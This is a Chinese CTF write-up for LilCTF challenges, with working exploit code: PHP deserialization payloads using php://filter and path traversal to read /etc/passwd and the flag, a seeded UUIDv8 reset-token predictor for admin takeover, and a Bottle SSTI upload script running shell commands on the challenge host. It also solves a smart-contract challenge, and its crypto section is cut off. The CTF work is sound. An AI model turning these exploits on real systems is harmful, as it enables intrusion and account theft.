队伍
在那年的夏日等你
信息
分数: 1543 排名: 49
WEB
Your Uns3r
<?php
highlight_file(__FILE__);
class User
{
public $username;
public $value;
public function exec()
{
$ser = unserialize(serialize(unserialize($this->value)));
if ($ser != $this->value && $ser instanceof Access) {
include($ser->getToken());
}
}
public function __destruct()
{
if ($this->username == "admin") {
$this->exec();
}
}
}
class Access
{
protected $prefix;
protected $suffix;
public function getToken()
{
if (!is_string($this->prefix) || !is_string($this->suffix)) {
throw new Exception("Go to HELL!");
}
$result = $this->prefix . 'lilctf' . $this->suffix;
if (strpos($result, 'pearcmd') !== false) {
throw new Exception("Can I have peachcmd?");
}
return $result;
}
}
$ser = $_POST["user"];
if (strpos($ser, 'admin') !== false && strpos($ser, 'Access":') !== false) {
exit ("no way!!!!");
}
$user = unserialize($ser);
throw new Exception("nonono!!!");
整体逻辑就是用user反序列化后激活__destruct后一步步利用,最后控制result内容用include读flag
这里有两点要注意的,第一个就是throw new Exception("nonono!!!");
第二个就是$this->username == "admin"
弱等于判断
一开始把throw天真的注释了,打本地发现怎么都可以,但是一加上throw就不行了 :(
这里就要用到这个回收机制,但是根据这个回收机制,对于PHP5.6.40似乎好像不适用,他的例子a:2:{i:0;O:1:"B":0:{}i:0;i:0;}
这里再5.6.40复现不行,解决方法是数组长度+1就可以绕过a:3:{i:0;O:1:"B":0:{}i:0;i:0;}
然后这里限制preacmd导致我研究了半天,后面发现根本不用pearcmd进行
<?php
class User {
public $username = 0;
public $value;
}
class Access {
protected $prefix = "";
protected $suffix = "";
}
$user = array(new User(),0);
$user->value = serialize(new Access());
$payload = serialize($user);
echo $payload;
?>
Value是N,我打算后面的补上
这里protected在序列化后*两边的%00显示不出来,后面需要自己补齐
<?php
class User
{
public $username = 0;
public $value;
}
class Access
{
protected $prefix = "php://filter/read=convert.base64-encode/resource=/";
protected $suffix = "/../../../../etc/passwd";
}
$access = new Access();
$user = new User();
$user->value = array($access);
$user->value[0] = $access;
$user->value = serialize($access);
echo serialize($user);
?>
这里生成的value放到上面的exp输出的序列化中
a:2:{i:0;O:4:"User":2:{s:8:"username";i:0;s:5:"value";N;}i:1;i:0;}
O:4:"User":2:{s:8:"username";i:0;s:5:"value";s:138:"O:6:"Access":2:{s:9:"%00*%00prefix";s:50:"php://filter/read=convert.base64-encode/resource=/";s:9:"%00*%00suffix";s:23:"/../../../../etc/passwd";}";}
最终payload
a:3:{i:0;O:4:"User":2:{s:8:"username";i:0;s:5:"value";s:138:"O:6:"Access":2:{s:9:"%00*%00prefix";s:50:"php://filter/read=convert.base64-encode/resource=/";s:9:"%00*%00suffix";s:23:"/../../../../etc/passwd";}";}i:1;i:0;}
a:3:{i:0;O:4:"User":2:{s:8:"username";i:0;s:5:"value";s:138:"O:6:"Access":2:{s:9:"%00*%00prefix";s:50:"php://filter/read=convert.base64-encode/resource=/";s:9:"%00*%00suffix";s:23:"/../../../../flag";}";}i:1;i:0;}
Ekko_note
经过一番折腾发现python3.14有uuid v8 ,然后解铃还须系铃人,lamxu的uuidv8看了一下,copy一下写一个exp就行
SERVER_START_TIME = time.time()
# 欸我艹这两行代码测试用的忘记删了,欸算了都发布了,我们都在用力地活着,跟我的下班说去吧。
# 反正整个程序没有一个地方用到random库。应该没有什么问题。
import random
random.seed(SERVER_START_TIME)
这里给了serverstarttime,还有一个路由可以获取starttime,这里种子固定
@app.route('/execute_command', methods=['GET', 'POST'])
@login_required
def execute_command():
result = check_time_api()
if result is None:
flash("API死了啦,都你害的啦。", "danger")
return redirect(url_for('dashboard'))
if not result:
flash('2066年才完工哈,你可以穿越到2066年看看', 'danger')
return redirect(url_for('dashboard'))
if request.method == 'POST':
command = request.form.get('command')
os.system(command) # 什么?你说安全?不是,都说了还没完工催什么。
return redirect(url_for('execute_command'))
return render_template('execute_command.html')
我们发现这里需要admin执行command
@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
if request.method == 'POST':
email = request.form.get('email')
user = User.query.filter_by(email=email).first()
if user:
# 选哪个UUID版本好呢,好头疼 >_<
# UUID v8吧,看起来版本比较新
token = str(uuid.uuid8(a=padding(user.username))) # 可以自定义参数吗原来,那把username放进去吧
reset_token = PasswordResetToken(user_id=user.id, token=token)
db.session.add(reset_token)
db.session.commit()
# TODO:写一个SMTP服务把token发出去
flash(f'密码恢复token已经发送,请检查你的邮箱', 'info')
return redirect(url_for('reset_password'))
else:
flash('没有找到该邮箱对应的注册账户', 'danger')
return redirect(url_for('forgot_password'))
return render_template('forgot_password.html')
这里是唯一可以伪造admin获取其重置token来重置admin密码的,那么种子固定,预测uuid就很简单了
exp如下
import random
import uuid
server_start_time = 1755353339.975761
random.seed(server_start_time)
def padding(input_string):
byte_string = input_string.encode('utf-8')
if len(byte_string) > 6: byte_string = byte_string[:6]
padded_byte_string = byte_string.ljust(6, b'\x00')
padded_int = int.from_bytes(padded_byte_string, byteorder='big')
return padded_int
def uuid8():
a = padding('admin')
b = random.getrandbits(12)
c = random.getrandbits(62)
int_uuid_8 = (a & 0xffff_ffff_ffff) << 80
int_uuid_8 |= (b & 0xfff) << 64
int_uuid_8 |= c & 0x3fff_ffff_ffff_ffff
_RFC_4122_VERSION_8_FLAGS = ((8 << 76) | (0x8000 << 48))
int_uuid_8 |= _RFC_4122_VERSION_8_FLAGS
return uuid.UUID(int=int_uuid_8)
admin_token = str(uuid8())
print(admin_token)
ez_bottle
exp
import requests
import zipfile
import os
import re
import time
#URL
TARGET_URL = "http://challenge.xinshi.fun:46222"
def create_evil_zip(i, url):
os.makedirs("tmp", exist_ok=True)
with open("tmp/a.tpl", "w") as f:
f.write("% include('./uploads/" + url + "', title='Page Title')")
print("% include('./uploads/" + url + "', title='Page Title')")
with open("tmp/exploit.tpl", "w") as f:
f.write(
"""{{''.__class__.__bases__[0].__subclasses__()[""" + str(i) + """].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}}""")
print("""{{''.__class__.__bases__[0].__subclasses__()[""" + str(i) + """].__init__.__globals__['popen']('ls /').read()}}""")
# f.write("% result = os.popen('cat /flag').read()\n")
# f.write("% print(result)")
with zipfile.ZipFile("exploit.zip", "w") as z:
z.write("tmp/exploit.tpl", "exploit.tpl")
z.write("tmp/a.tpl", "a.tpl")
return "exploit.zip"
def upload_zip(zip_path):
url = f"{TARGET_URL}/upload"
with open(zip_path, "rb") as f:
files = {"file": (os.path.basename(zip_path), f)}
response = requests.post(url, files=files)
return response.text
def extract_view_url(response_text):
print(response_text)
pattern = r"访问: /view/([a-f0-9]{32})/([^\s]+)"
match = re.search(pattern, response_text)
if match:
md5_hash = match.group(1)
filename = 'a.tpl'
return f"/view/{md5_hash}/{filename}", f"{md5_hash}/exploit.tpl"
return None
def get_flag(view_url):
url = f"{TARGET_URL}{view_url}"
response = requests.get(url)
request = response.request
print(request.method)
print(request.url)
print(request.headers)
print(request.body)
return response.text
if __name__ == "__main__":
last_url = "58aab835965b994b92c397a94a600a03/exploit.tpl"
for i in range(115,118):
# i=77
print("-------------------------------------------------------\n")
print("[*] Creating malicious ZIP file...")
zip_file = create_evil_zip(i, last_url)
print("[*] Uploading ZIP file to server...")
response = upload_zip(zip_file)
# print(f"[DEBUG] Server response:\n{response}")
print("[*] Extracting file view URL...")
view_url, last_url = extract_view_url(response)
if not view_url:
print("[-] Failed to extract view URL")
print(f"Response: {response}")
exit(1)
print(f"[+] Found view URL: {view_url}")
print("[*] Requesting file to trigger exploit...")
flag = get_flag(view_url)
os.remove(zip_file)
print("\n[+] Exploit completed!")
print(f"\n[FLAG] {flag}")
print("-------------------------------------------------------\n")
print()
print()
print()
BlockChain
lilctf 生蚝的宝藏
题目没有给源码,而是自己建造了一个rpc,部署合约交互
先获取构造交易的字节码
from web3 import Web3
RPC_URL = "http://106.15.138.99:8545/"
CONTRACT = "0x9F18c518FF34Ab2213eCcFDaeA0E36662B5DE09E"
TX_HASH = "0x327ede005e204582db641d26bbefe55f0f790c65fc2a78de7a19007e36063061"
w3 = Web3(Web3.HTTPProvider(RPC_URL))
tx = w3.eth.get_transaction(TX_HASH)
r = w3.to_json(tx)
print(r)
//
{"blockHash": "0xba8a0dd04e0871fed04bfe5b843197a499b05882c8d54aa22ea3fb11b943995c", "blockNumber": 9725, "from": "0xa7A18b63f52fEE6113358EAd8171049D9A4316b1", "gas": 397106, "gasPrice": 1000000007, "hash": "0x327ede005e204582db641d26bbefe55f0f790c65fc2a78de7a19007e36063061", "input": "0x608060405234801561001057600080fd5b506040516107f03803806107f083398101604081905261002f9161021d565b6100388161005d565b805161004c9160009160209091019061016e565b50506001805460ff19169055610388565b60408051808201909152600c81526b35b2bcaf9a9b9a1c19199ab360a11b6020820152815160609183916000906001600160401b038111156100a1576100a1610207565b6040519080825280601f01601f1916602001820160405280156100cb576020820181803683370190505b50905060005b835181101561016557828351826100e891906102ec565b815181106100f8576100f861030e565b602001015160f81c60f81b60f81c8482815181106101185761011861030e565b602001015160f81c60f81b60f81c1860f81b82828151811061013c5761013c61030e565b60200101906001600160f81b031916908160001a9053508061015d81610324565b9150506100d1565b50949350505050565b82805461017a9061034d565b90600052602060002090601f01602090048101928261019c57600085556101e2565b82601f106101b557805160ff19168380011785556101e2565b828001600101855582156101e2579182015b828111156101e25782518255916020019190600101906101c7565b506101ee9291506101f2565b5090565b5b808211156101ee57600081556001016101f3565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561023057600080fd5b82516001600160401b038082111561024757600080fd5b818501915085601f83011261025b57600080fd5b81518181111561026d5761026d610207565b604051601f8201601f19908116603f0116810190838211818310171561029557610295610207565b8160405282815288868487010111156102ad57600080fd5b600093505b828410156102cf57848401860151818501870152928501926102b2565b828411156102e05760008684830101525b98975050505050505050565b60008261030957634e487b7160e01b600052601260045260246000fd5b500690565b634e487b7160e01b600052603260045260246000fd5b600060001982141561034657634e487b7160e01b600052601160045260246000fd5b5060010190565b600181811c9082168061036157607f821691505b6020821081141561038257634e487b7160e01b600052602260045260246000fd5b50919050565b610459806103976000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c80635cc4d8121461003b57806364d98f6e14610050575b600080fd5b61004e61004936600461023a565b61006a565b005b60015460ff16604051901515815260200160405180910390f35b61007381610112565b60405160200161008391906102eb565b6040516020818303038152906040528051906020012060006040516020016100ab9190610326565b60405160208183030381529060405280519060200120146101035760405162461bcd60e51b815260206004820152600e60248201526d57726f6e6720547265617375726560901b604482015260640160405180910390fd5b506001805460ff191681179055565b60408051808201909152600c81526b35b2bcaf9a9b9a1c19199ab360a11b60208201528151606091839160009067ffffffffffffffff81111561015757610157610224565b6040519080825280601f01601f191660200182016040528015610181576020820181803683370190505b50905060005b835181101561021b578283518261019e91906103c2565b815181106101ae576101ae6103e4565b602001015160f81c60f81b60f81c8482815181106101ce576101ce6103e4565b602001015160f81c60f81b60f81c1860f81b8282815181106101f2576101f26103e4565b60200101906001600160f81b031916908160001a90535080610213816103fa565b915050610187565b50949350505050565b634e487b7160e01b600052604160045260246000fd5b60006020828403121561024c57600080fd5b813567ffffffffffffffff8082111561026457600080fd5b818401915084601f83011261027857600080fd5b81358181111561028a5761028a610224565b604051601f8201601f19908116603f011681019083821181831017156102b2576102b2610224565b816040528281528760208487010111156102cb57600080fd5b826020860160208301376000928101602001929092525095945050505050565b6000825160005b8181101561030c57602081860181015185830152016102f2565b8181111561031b576000828501525b509190910192915050565b600080835481600182811c91508083168061034257607f831692505b602080841082141561036257634e487b7160e01b86526022600452602486fd5b8180156103765760018114610387576103b4565b60ff198616895284890196506103b4565b60008a81526020902060005b868110156103ac5781548b820152908501908301610393565b505084890196505b509498975050505050505050565b6000826103df57634e487b7160e01b600052601260045260246000fd5b500690565b634e487b7160e01b600052603260045260246000fd5b600060001982141561041c57634e487b7160e01b600052601160045260246000fd5b506001019056fea2646970667358221220d5c875e6de4319072b595bdd2382e9d4da7081fe0f1e58eb39dad3b70117693e64736f6c634300080900330000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002e33333334333534383333343934633566353534653634343535323566333734383333356635333333343033663764000000000000000000000000000000000000", "nonce": 0, "to": null, "transactionIndex": 0, "value": 0, "type": 0, "chainId": 21348, "v": 42731, "r": "0xaf22cddb94a9335042245e7d642e6f8b0db30a85d599a3c6ba2ff30187643ff8", "s": "0x638aa8384bc6cbcdf1954a48c825dc01b5723c2bbae672540f0753bb429bf1b7"}
然后去Online Solidity Decompiler反编译
拿到反编译代码
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;
var var0 = msg.value;
if (var0) { revert(memory[0x00:0x00]); }
if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
var0 = msg.data[0x00:0x20] >> 0xe0;
if (var0 == 0x5cc4d812) {
// Dispatch table entry for 0x5cc4d812 (unknown)
var var1 = 0x004e;
var var2 = 0x0049;
var var3 = msg.data.length;
var var4 = 0x04;
var2 = func_023A(var3, var4);
func_0049(var2);
stop();
} else if (var0 == 0x64d98f6e) {
// Dispatch table entry for isSolved()
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = !!(storage[0x01] & 0xff);
var temp1 = memory[0x40:0x60];
return memory[temp1:temp1 + (temp0 + 0x20) - temp1];
} else { revert(memory[0x00:0x00]); }
}
function func_0049(var arg0) {
var var0 = 0x0073;
var var1 = arg0;
var0 = func_0112(var1);
var temp0 = var0;
var0 = 0x0083;
var var2 = memory[0x40:0x60] + 0x20;
var1 = temp0;
var0 = func_02EB(var1, var2);
var temp1 = memory[0x40:0x60];
var temp2 = var0;
memory[temp1:temp1 + 0x20] = temp2 - temp1 - 0x20;
memory[0x40:0x60] = temp2;
var0 = keccak256(memory[temp1 + 0x20:temp1 + 0x20 + memory[temp1:temp1 + 0x20]]);
var1 = 0x00ab;
var var3 = memory[0x40:0x60] + 0x20;
var2 = 0x00;
var1 = func_0326(var2, var3);
var temp3 = memory[0x40:0x60];
var temp4 = var1;
memory[temp3:temp3 + 0x20] = temp4 - temp3 - 0x20;
memory[0x40:0x60] = temp4;
if (keccak256(memory[temp3 + 0x20:temp3 + 0x20 + memory[temp3:temp3 + 0x20]]) == var0) {
storage[0x01] = (storage[0x01] & ~0xff) | 0x01;
return;
} else {
var temp5 = memory[0x40:0x60];
memory[temp5:temp5 + 0x20] = 0x461bcd << 0xe5;
memory[temp5 + 0x04:temp5 + 0x04 + 0x20] = 0x20;
memory[temp5 + 0x24:temp5 + 0x24 + 0x20] = 0x0e;
memory[temp5 + 0x44:temp5 + 0x44 + 0x20] = 0x57726f6e67205472656173757265 << 0x90;
var temp6 = memory[0x40:0x60];
revert(memory[temp6:temp6 + (temp5 + 0x64) - temp6]);
}
}
function func_0112(var arg0) returns (var r0) {
var temp0 = memory[0x40:0x60];
memory[0x40:0x60] = temp0 + 0x40;
memory[temp0:temp0 + 0x20] = 0x0c;
memory[temp0 + 0x20:temp0 + 0x20 + 0x20] = 0x35b2bcaf9a9b9a1c19199ab3 << 0xa1;
var var2 = temp0;
var var0 = 0x60;
var var1 = arg0;
var var4 = memory[var1:var1 + 0x20];
var var3 = 0x00;
if (var4 <= 0xffffffffffffffff) {
var temp1 = memory[0x40:0x60];
var temp2 = var4;
var var5 = temp2;
var4 = temp1;
memory[var4:var4 + 0x20] = var5;
memory[0x40:0x60] = var4 + (var5 + 0x1f & ~0x1f) + 0x20;
if (!var5) {
var3 = var4;
var4 = 0x00;
if (var4 >= memory[var1:var1 + 0x20]) {
label_021B:
return var3;
} else {
label_0191:
var5 = var2;
var var6 = 0x019e;
var var7 = memory[var5:var5 + 0x20];
var var8 = var4;
var6 = func_03C2(var7, var8);
if (var6 < memory[var5:var5 + 0x20]) {
var5 = ((memory[var6 + 0x20 + var5:var6 + 0x20 + var5 + 0x20] >> 0xf8) << 0xf8) >> 0xf8;
var6 = var1;
var7 = var4;
if (var7 < memory[var6:var6 + 0x20]) {
var5 = ((((memory[var7 + 0x20 + var6:var7 + 0x20 + var6 + 0x20] >> 0xf8) << 0xf8) >> 0xf8) ~ var5) << 0xf8;
var6 = var3;
var7 = var4;
if (var7 < memory[var6:var6 + 0x20]) {
memory[var7 + 0x20 + var6:var7 + 0x20 + var6 + 0x01] = byte(var5 & ~((0x01 << 0xf8) - 0x01), 0x00);
var5 = var4;
var6 = 0x0213;
var7 = var5;
var6 = func_03FA(var7);
var4 = var6;
if (var4 >= memory[var1:var1 + 0x20]) { goto label_021B; }
else { goto label_0191; }
} else {
var8 = 0x01f2;
label_03E4:
memory[0x00:0x20] = 0x4e487b71 << 0xe0;
memory[0x04:0x24] = 0x32;
revert(memory[0x00:0x24]);
}
} else {
var8 = 0x01ce;
goto label_03E4;
}
} else {
var7 = 0x01ae;
goto label_03E4;
}
}
} else {
var temp3 = var5;
memory[var4 + 0x20:var4 + 0x20 + temp3] = msg.data[msg.data.length:msg.data.length + temp3];
var3 = var4;
var4 = 0x00;
if (var4 >= memory[var1:var1 + 0x20]) { goto label_021B; }
else { goto label_0191; }
}
} else {
var5 = 0x0157;
memory[0x00:0x20] = 0x4e487b71 << 0xe0;
memory[0x04:0x24] = 0x41;
revert(memory[0x00:0x24]);
}
}
function func_023A(var arg0, var arg1) returns (var r0) {
var var0 = 0x00;
if (arg0 - arg1 i< 0x20) { revert(memory[0x00:0x00]); }
var var1 = msg.data[arg1:arg1 + 0x20];
var var2 = 0xffffffffffffffff;
if (var1 > var2) { revert(memory[0x00:0x00]); }
var temp0 = arg1 + var1;
var1 = temp0;
if (var1 + 0x1f i>= arg0) { revert(memory[0x00:0x00]); }
var var3 = msg.data[var1:var1 + 0x20];
if (var3 <= var2) {
var temp1 = memory[0x40:0x60];
var temp2 = ~0x1f;
var temp3 = temp1 + ((temp2 & var3 + 0x1f) + 0x3f & temp2);
var var4 = temp3;
var var5 = temp1;
if (!((var4 < var5) | (var4 > var2))) {
memory[0x40:0x60] = var4;
var temp4 = var3;
memory[var5:var5 + 0x20] = temp4;
if (var1 + temp4 + 0x20 > arg0) { revert(memory[0x00:0x00]); }
var temp5 = var3;
var temp6 = var5;
memory[temp6 + 0x20:temp6 + 0x20 + temp5] = msg.data[var1 + 0x20:var1 + 0x20 + temp5];
memory[temp6 + temp5 + 0x20:temp6 + temp5 + 0x20 + 0x20] = 0x00;
return temp6;
} else {
var var6 = 0x02b2;
label_0224:
memory[0x00:0x20] = 0x4e487b71 << 0xe0;
memory[0x04:0x24] = 0x41;
revert(memory[0x00:0x24]);
}
} else {
var4 = 0x028a;
goto label_0224;
}
}
function func_02EB(var arg0, var arg1) returns (var r0) {
var var0 = 0x00;
var var1 = memory[arg0:arg0 + 0x20];
var var2 = 0x00;
if (var2 >= var1) {
label_030C:
if (var2 <= var1) { return var1 + arg1; }
var temp0 = var1;
var temp1 = arg1;
memory[temp1 + temp0:temp1 + temp0 + 0x20] = 0x00;
return temp0 + temp1;
} else {
label_02FB:
var temp2 = var2;
memory[temp2 + arg1:temp2 + arg1 + 0x20] = memory[arg0 + temp2 + 0x20:arg0 + temp2 + 0x20 + 0x20];
var2 = temp2 + 0x20;
if (var2 >= var1) { goto label_030C; }
else { goto label_02FB; }
}
}
function func_0326(var arg0, var arg1) returns (var r0) {
var var0 = 0x00;
var var1 = var0;
var temp0 = storage[arg0];
var var2 = temp0;
var var4 = 0x01;
var var3 = var2 >> var4;
var var5 = var2 & var4;
if (var5) {
var var6 = 0x20;
if (var5 != (var3 < var6)) {
label_0362:
var var7 = var5;
if (!var7) {
var temp1 = arg1;
memory[temp1:temp1 + 0x20] = var2 & ~0xff;
var1 = temp1 + var3;
label_03B4:
return var1;
} else if (var7 == 0x01) {
memory[0x00:0x20] = arg0;
var var8 = keccak256(memory[0x00:0x20]);
var var9 = 0x00;
if (var9 >= var3) {
label_03AC:
var1 = arg1 + var3;
goto label_03B4;
} else {
label_039C:
var temp2 = var8;
var temp3 = var9;
memory[temp3 + arg1:temp3 + arg1 + 0x20] = storage[temp2];
var8 = var4 + temp2;
var9 = var6 + temp3;
if (var9 >= var3) { goto label_03AC; }
else { goto label_039C; }
}
} else { goto label_03B4; }
} else {
label_034F:
var temp4 = var1;
memory[temp4:temp4 + 0x20] = 0x4e487b71 << 0xe0;
memory[0x04:0x24] = 0x22;
revert(memory[temp4:temp4 + 0x24]);
}
} else {
var temp5 = var3 & 0x7f;
var3 = temp5;
var6 = 0x20;
if (var5 != (var3 < var6)) { goto label_0362; }
else { goto label_034F; }
}
}
function func_03C2(var arg0, var arg1) returns (var r0) {
var var0 = 0x00;
if (arg0) { return arg1 % arg0; }
memory[0x00:0x20] = 0x4e487b71 << 0xe0;
memory[0x04:0x24] = 0x12;
revert(memory[0x00:0x24]);
}
function func_03FA(var arg0) returns (var r0) {
var var0 = 0x00;
if (arg0 != ~0x00) { return arg0 + 0x01; }
memory[0x00:0x20] = 0x4e487b71 << 0xe0;
memory[0x04:0x24] = 0x11;
revert(memory[0x00:0x24]);
}
}
从主函数可以看到:
function main() {
memory[0x40:0x60] = 0x80;
var var0 = msg.value;
if (var0) { revert(memory[0x00:0x00]); }
if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
var0 = msg.data[0x00:0x20] >> 0xe0;
if (var0 == 0x5cc4d812) {
// Dispatch table entry for 0x5cc4d812 (unknown)
var var1 = 0x004e;
var var2 = 0x0049;
var var3 = msg.data.length;
var var4 = 0x04;
var2 = func_023A(var3, var4);
func_0049(var2);
stop();
} else if (var0 == 0x64d98f6e) {
// Dispatch table entry for isSolved()
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = !!(storage[0x01] & 0xff);
var temp1 = memory[0x40:0x60];
return memory[temp1:temp1 + (temp0 + 0x20) - temp1];
} else { revert(memory[0x00:0x00]); }
}
1.不接受转账
2.输入数据要大于4字节
两个函数分发,0x5cc4d812的unknown函数就是验证函数,0x64d98f6e就是isSolved函数
然后查看验证函数逻辑
function func_0049(var arg0) {
var var0 = 0x0073;
var var1 = arg0;
var0 = func_0112(var1);
var temp0 = var0;
var0 = 0x0083;
var var2 = memory[0x40:0x60] + 0x20;
var1 = temp0;
var0 = func_02EB(var1, var2);
var temp1 = memory[0x40:0x60];
var temp2 = var0;
memory[temp1:temp1 + 0x20] = temp2 - temp1 - 0x20;
memory[0x40:0x60] = temp2;
var0 = keccak256(memory[temp1 + 0x20:temp1 + 0x20 + memory[temp1:temp1 + 0x20]]);
var1 = 0x00ab;
var var3 = memory[0x40:0x60] + 0x20;
var2 = 0x00;
var1 = func_0326(var2, var3);
var temp3 = memory[0x40:0x60];
var temp4 = var1;
memory[temp3:temp3 + 0x20] = temp4 - temp3 - 0x20;
memory[0x40:0x60] = temp4;
if (keccak256(memory[temp3 + 0x20:temp3 + 0x20 + memory[temp3:temp3 + 0x20]]) == var0) {
storage[0x01] = (storage[0x01] & ~0xff) | 0x01;
return;
} else {
var temp5 = memory[0x40:0x60];
memory[temp5:temp5 + 0x20] = 0x461bcd << 0xe5;
memory[temp5 + 0x04:temp5 + 0x04 + 0x20] = 0x20;
memory[temp5 + 0x24:temp5 + 0x24 + 0x20] = 0x0e;
memory[temp5 + 0x44:temp5 + 0x44 + 0x20] = 0x57726f6e67205472656173757265 << 0x90;
var temp6 = memory[0x40:0x60];
revert(memory[temp6:temp6 + (temp5 + 0x64) - temp6]);
}
}
1.先用func_0112(var1)对输入数据进行解码
2.然后进行keccak256哈希=>var0
3.调用func_0326提取treasure
4.计算treasure的哈希是否等于var0
所以,我们的目标就很明确了,找到treasure,按它的算法逆向,就可以找到需要的输入数据
来看func_0326
function func_0326(var arg0, var arg1) returns (var r0) {
var var0 = 0x00;
var var1 = var0;
var temp0 = storage[arg0];
var var2 = temp0;
var var4 = 0x01;
var var3 = var2 >> var4;
var var5 = var2 & var4;
if (var5) {
var var6 = 0x20;
if (var5 != (var3 < var6)) {
label_0362:
var var7 = var5;
if (!var7) {
var temp1 = arg1;
memory[temp1:temp1 + 0x20] = var2 & ~0xff;
var1 = temp1 + var3;
label_03B4:
return var1;
} else if (var7 == 0x01) {
memory[0x00:0x20] = arg0;
var var8 = keccak256(memory[0x00:0x20]);
var var9 = 0x00;
if (var9 >= var3) {
label_03AC:
var1 = arg1 + var3;
goto label_03B4;
} else {
label_039C:
var temp2 = var8;
var temp3 = var9;
memory[temp3 + arg1:temp3 + arg1 + 0x20] = storage[temp2];
var8 = var4 + temp2;
var9 = var6 + temp3;
if (var9 >= var3) { goto label_03AC; }
else { goto label_039C; }
}
} else { goto label_03B4; }
} else {
label_034F:
var temp4 = var1;
memory[temp4:temp4 + 0x20] = 0x4e487b71 << 0xe0;
memory[0x04:0x24] = 0x22;
revert(memory[temp4:temp4 + 0x24]);
}
} else {
var temp5 = var3 & 0x7f;
var3 = temp5;
var6 = 0x20;
if (var5 != (var3 < var6)) { goto label_0362; }
else { goto label_034F; }
}
}
好难看,让ai美化一下
function readFromStorage(uint256 slot, uint256 memPtr) pure returns (uint256 endPtr) {
bytes32 data = storage[slot];
bool isLong = (uint8(data) & 0x01) == 1;
uint256 length = uint256(data) >> 1;
if (isLong) {
// 长格式:从 keccak256(slot) 开始读
uint256 startSlot = uint256(keccak256(abi.encode(slot)));
for (uint256 i = 0; i < length; i += 32) {
bytes32 chunk = storage[startSlot + i/32];
assembly {
mstore(add(memPtr, i), chunk)
}
}
} else {
// 短格式:数据在高字节
assembly {
mstore(memPtr, and(data, not(0xff)))
}
}
return memPtr + length;
}
所以是将数据分成两种形式存储,长和短,标志是最后一位是否为1
短格式:数据在高字节
长格式:从 keccak256(slot) 开始读
我们先获取一下storage slot
from web3 import Web3
RPC_URL = "http://106.15.138.99:8545/"
CONTRACT = "0x9F18c518FF34Ab2213eCcFDaeA0E36662B5DE09E"
w3 = Web3(Web3.HTTPProvider(RPC_URL))
val0 = w3.eth.get_storage_at(CONTRACT, 0)
val1 = w3.eth.get_storage_at(CONTRACT, 1)
print(val0.hex())
print(val1.hex())
# 0x000000000000000000000000000000000000000000000000000000000000005d
只有一个
5d=1011101
所以是长数据,并且长度为(5d-1)/2=46(5d >> 1)
(存储和临时存储中状态变量的布局 — Solidity 0.8.31 文档 --- Layout of State Variables in Storage and Transient Storage — Solidity 0.8.31 documentation)
并且实际存储位置为
keccak256(uint256(0))
也就是
w3.keccak(hexstr="0x"+"0"*64).hex()
又因为一个存储槽最大32位
所以可以通过以下代码获取treasure
from web3 import Web3
rpc_url = "http://106.15.138.99:8545/"
contract_address = "0x5cbc5d6146fC71220aFeF28F4208EE5E5b799bCd"
w3 = Web3(Web3.HTTPProvider(rpc_url))
treasure_data = b""
slot0 = w3.keccak(hexstr="0x0000000000000000000000000000000000000000000000000000000000000000").hex()
slot1 = int(slot0, 16) + 1
slot1 = hex(slot1)
slot0_data = w3.eth.get_storage_at(contract_address, slot0)
slot1_data = w3.eth.get_storage_at(contract_address, slot1)
treasure_data = slot0_data + slot1_data
treasure = treasure_data[:46]
print(treasure)
#b'XVJk\x06\x02\x00\x00\x01\x00\x01__\x06L9\x00\x02\x00]\x04\x07\x01S^WL9\x06\x00\x00\x00\x01\x00\x00\x00^VJl\x01\x07\x07^\x05W'
真难看,不过我们还没有解密
接下来逆向解密代码(懒得看了ai写的解密代码)
key_hex = "35b2bcaf9a9b9a1c19199ab3"
val = 0x35b2bcaf9a9b9a1c19199ab3
shift = 161
res = (val << shift) & ((1 << 256) - 1)
key_32_bytes = res.to_bytes(32, 'big')
key = key_32_bytes[:12]
# The input data is XORed with the key repeating
decrypted_treasure = bytearray()
for i in range(len(treasure)):
decrypted_treasure.append(treasure[i] ^ key[i % len(key)])
print(f"Key: {key.hex()}")
print(f"Calculated Input (Treasure XOR Key): {decrypted_treasure.hex()}")
#Key: 6b65795f3537343832333566
#Calculated Input (Treasure XOR Key): 33333334333534383333343934633566353534653634343535323566333734383333356635333333343033663764
接下来构造payload
final_payload = "0x5cc4d812" + "0000000000000000000000000000000000000000000000000000000000000020" # 函数和偏移量
final_payload += hex(len(decrypted_treasure))[2:].zfill(64) # 长度(92)
final_payload += decrypted_treasure.hex().ljust(64, '0') # 数据
print(final_payload)
# 0x5cc4d8120000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002e33333334333534383333343934633566353534653634343535323566333734383333356635333333343033663764
call一下,没有回滚,成功了
result = w3.eth.call({
'to': contract_address,
'data': final_payload
})
实际上,可以发现payload就是构造函数的传入参数:),而且hex解码之后就是flag的后半部分
Crypto
from Crypto.Util.number import long_to_bytes
def legendre(a, p):
ls = pow(a, (p - 1) // 2, p)
return -1 if ls == p - 1 else ls
def sqrt_mod(a, p):
if legendre(a, p) != 1: return 0
if a == 0: return 0
if p % 4 == 3: return pow(a, (p + 1) // 4, p)
S, Q = 0, p - 1
while Q % 2 == 0:
S += 1
Q //= 2
z = 2
while legendre(z, p) != -1: z += 1
M, c, t, R = S, pow(z, Q, p), pow(a, Q, p), pow(a, (Q + 1) // 2, p)
while t != 1:
if t == 0: return 0
i, temp_t = 0, t
while temp_t != 1:
temp_t = pow(temp_t, 2, p)
i += 1
if i == M: return 0
b = pow(c, pow(2, M - i - 1, p - 1), p)
M, c = i, (b * b) % p
t, R = (t * c) % p, (R * b) % p
return R
p = 9620154777088870694266521670168986508003314866222315790126552504304846236696183733266828489404860276326158191906907396234236947215466295418632056113826161
C = [[7062910478232783138765983170626687981202937184255408287607971780139482616525215270216675887321965798418829038273232695370210503086491228434856538620699645,7096268905956462643320137667780334763649635657732499491108171622164208662688609295607684620630301031789132814209784948222802930089030287484015336757787801],[7341430053606172329602911405905754386729224669425325419124733847060694853483825396200841609125574923525535532184467150746385826443392039086079562905059808,2557244298856087555500538499542298526800377681966907502518580724165363620170968463050152602083665991230143669519866828587671059318627542153367879596260872]]
